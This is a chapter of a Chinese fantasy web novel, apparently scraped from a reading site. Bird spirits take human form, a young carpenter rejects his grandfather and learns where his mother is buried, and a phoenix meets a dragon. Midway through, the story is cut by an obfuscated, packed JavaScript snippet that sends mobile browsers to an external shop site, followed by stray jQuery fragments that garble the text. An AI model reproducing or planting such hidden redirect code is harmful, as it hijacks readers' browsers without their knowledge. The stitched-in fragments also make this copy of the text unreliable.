25.葬处
    余老爷子怎么会突然找过来?是谁告诉他余时书住在这里的?他来到底是为了什么?

    一时之间余时书和苍鹰一人一鸟脑子里把这些疑问翻来覆去想了好几遍也没想出个所以然来,而余时书不仅仅被疑问包围,同时沉浸在方才苍鹰飞起一脚将门踹上的壮举中。

    小木匠目瞪口呆地看看苍鹰,再看看紧闭的大门,咽了口唾沫:“大哥,你能听懂人话是不?”

    他刚才究竟当着苍鹰的面说了些什么!

    余时书觉着他已经不能直视苍鹰了,万一这家伙……不,万一这位大哥真的会把那些事儿告诉鹤芳川,他就真的要无地自容了!

    偏偏事情朝着他最害怕的方向发展了——面前似曾相识的一幕重现,苍鹰的身影逐渐拉长,在余时书眼前从一只半人高的大鸟真正地变成了一个人。

    男人一头黑发高高束在头顶,凌厉的鹰眸并没有任何变化,薄唇高鼻梁,眼窝深陷,并不像是大辰本地人,反而更接近域外游民。

    看起来快四十岁,因着没有留胡子便显得更年轻一些,他身穿一身深黑色长袍,腰间用腰带紧紧扣住,不用仔细看都知道浑身都是肌肉。

    “小木头,你是想留在这里,还是想要和那个老头子回去?”男人严肃地在余时书面前蹲下,开口时也果然如同余时书预料那般并非大辰口音。

    余时书已经有了经验,而且上一次鹤芳川是从人变成鸟,而这一次刚好反了过来。和苍鹰相比,眼前这个男人好像没那么吓人。

    虽然不知道小木头是在叫谁,余时书见他那话似乎是对着自己说的,赶紧答道:“我……我不回去。”

    男人点了点头,正要起身去告诉外面的人从哪儿来滚哪儿去,原本在一边看热闹的朱顶雀兄妹俩终于看不下去了,妹妹阿紫飞下树梢变成了少女,上前来一把抓住苍鹰:“苍大哥,你这样会让余公子很难做人的!”

    余时书张着嘴站在原地一句话也说不出来,瞠目结舌看着少女和男人争执到底该怎么把外面的老头儿赶走,这边还没反应过来呢,就见另一只朱顶雀也变成了个小少年,上前开始……劝架。

    “妹妹,苍大哥,你们会吓到余公子的,到时候要是让凤主知道就不好办了。”少年将两人拉开,话语刚落,就见少女和男人齐齐回头看向余时书。

    余时书:“……”

    都看着我做什么!

    苍鹰叹了口气,将大门给余时书让了出来:“还是你自己去说吧——只有一点要记住,既然选择留下,就要保守秘密。”

    不用他说,余时书都知道秘密是什么,他僵硬地点点头,朱顶雀兄妹俩手拉着手回到树下等着他行动,眼中满是担忧——凤主才刚走,就有人来找事。

    余公子应该能应付吧?

    朱顶雀是小鸟儿中和余时书关系最好的,只不过看他那样子,估计也被他们突然显出人形吓坏了,还是不要上前惊吓他了。

    门外余老爷子还在坚持不懈地叫着余时书的名字,他是下人们的闲言碎语中了解到余时书在这里的,毕竟哪儿都不是不透风的墙,只要有人,就会有消息。

    从他回老家去休养到得知余时书被赶出家门,再到现在,已经过去了将近大半年,好不容易再次见到孙儿,却被他亲手拒之门外,余老爷子敲门的空隙忍不住叹息,就在此时眼前紧闭的大门终于重新敞开了。

    “小书……”余老爷子赶忙迎上去,想要看看孙儿瘦了没,最近过得怎么样,没想到听见的第一句话便是:“我不回余家。”

    余老爷子愣住,苍老的手伸..出去又收回来,停顿了半天才道:“为什么不回去?”

    余时书纠结地看着眼前的老者,这个被他叫了十几年爷爷的老人,是他有记忆开始记住的第一个人。

    余时书学会说话后叫的第一个人不是爹爹,也不是哥哥,而是爷爷。

    爷爷会不顾一切地护着他,哪怕是和余老爷撕破脸皮,也会带着他满钧州城玩,哪怕是要坐上肩膀也从来没有过犹豫——余时书看的第一场戏,就是在余老爷子的肩膀上。

    在过去的他眼中看来,爷爷是全世界对他最好的人,没有之一。

    而对现在的他而言,余老爷子所做的这一切不过是对他,对他不在人世的娘亲的弥补,娘亲是他带来钧州城的,也是他彻底让娘亲再也没能走出钧州城。

    那个余时书从来没有见过的娘亲,她有自己的丈夫,有她的家人,也有她的故乡,却到死都没能离开钧州城,回到她心爱的人身边去。

    娘亲为了余时书选择委身于人,受尽屈辱,余时书甚至连她现在葬在哪里都不知道,从始至终余老爷子只告诉他,娘亲在他襁褓时就已经过世。

    谎言。

    就连爷爷嘴里也都是谎言。

    余时书咬牙道:“我从来就不是余家人,当年你让我娘嫁给你儿子时,你有问过她吗?”

    余老爷子还未浑浊的瞳孔收缩了一下,他没想到余时书竟然已经知道了这么多,原本准备好的挽留话语顿时全无用武之地。

    往日可爱活泼又听话孝顺的孙儿用看着陌生人的目光看着自己,余老爷子有些喘不上来气,却也知道这都是他一手酿成的祸事,对着余时书是什么话都没有脸再说出来了。

    看着余老爷子手足无措,余时书到底只是一个普通人,不能对这十几年来的时间视而不见,只好选择不多说,关门之前问道:“我娘葬在何处?”

    余老爷子紧紧闭上眼睛,睁开时已经是眼底热泪盈眶,眼泪却被他伸手抹去,老者用拐杖指了指南边:“她就葬在南面最高的那座山头,上去只管找一座写有晋芳华的碑便是。”

    晋芳华。

    原来娘亲的名字叫做晋芳华。

    余老爷子没有再说话,只是替余时书将门关上,又朝着来时的路回去了,秋日的阳光将他的身影

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210257|150853||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拉得很长。

    这是余时书最后一次见到余老爷子。

    ……

    正在往南海赶的鹤芳川并不知道家中发生了什么,他此时正飞过虞州城,这座城池前不久刚刚经历过瘟疫,现在终于恢复了些许,小凤凰没有在这里久留,紧赶慢赶地朝着南海飞去。

    他急。

    非常急。

    急着回去听小木匠的答案。

    小肥啾忽闪着翅膀,小眼睛发着光,从天边一掠而过,不会有人在意这种大小的鸟儿,只会以为是个雀儿,顶多是个燕子,殊不知头顶飞过的是凤凰。

    鹤芳川其实更想用大凤凰的体型,只是那样太过于招摇过市,更容易被人发现起疑心——他向来奉承大隐隐于市这句话,从来都不想要事情的小肥啾边飞边打了个哈欠,终于在停停走走十几天后闻到了海水的气息。

    他曾经在过去定居过南海一段时间,这里气候宜人,只是太过于潮湿,小凤凰又不怎么喜欢吃鱼,苍鹰大哥又只喜欢吃水果,众鸟儿在这里住了一两年便决定搬家。

    没有好吃的!就没有盼头!

    说起来鹤芳川在这边还有一个小院子,他朝着熟悉的无名村庄飞去,在不远处的树林子里降落下来,变成..人形后整理了衣服,这才装作若无其事走出了树林,准备混在来往人群中进去。

    看见村里这么多人,鹤芳川才想起来快过年了,这边也要趁着热闹举办万灯节,怪不得来往行商比从前要多。

    看着仿佛从来没有变过的村庄,鹤芳川心中有些感慨,仿佛又回到了那段天天和海鱼拼搏的日子。

    鹤芳川:“……”

    还是不要想了。

    南海边正在打仗,听说带兵的是个年轻将军,颇有能力,鹤芳川点点头,想来正是因为有那位将军,海边才能在战争中也有余力过节吧,不然就凭他那两年对边陲西树的了解,这里早就变成了尸山血海。

    急匆匆回到一样是没有变化的小院子里取了之前留在这里的梧桐木,确定符合余时书的要求后,这才用绳子捆在一起,拎在手上打算尽快回去,离开时他发现隔壁的院子里有些过分安静,犹记得这里住着的似乎是一对兄妹,想着也许是出去逛街了,鹤芳川便没有放在心上。

    出村时天色已经有些晚了,鹤芳川想着到下一个城镇再稍作休息,正想着往前走去,一阵陌生的气息忽然扑面而来,强大隐忍,那是与鹤芳川的力量如出一辙又略有不同的能力,小凤凰愣了愣,正巧这时有人与他擦肩而过。

    两人仿佛都察觉到对方的不同,同时抬头对视一眼,那人与一个貌美青年走在一起,两人手牵着手,看着鹤芳川,那人也是一愣。

    同样古老的血脉传承,同样强大的力量威压,以及两人眼中同样对彼此的心有灵犀……

    鹤芳川:“……”见了鬼了,居然有龙!

    对方:“……”见了鬼了,居然有凤凰!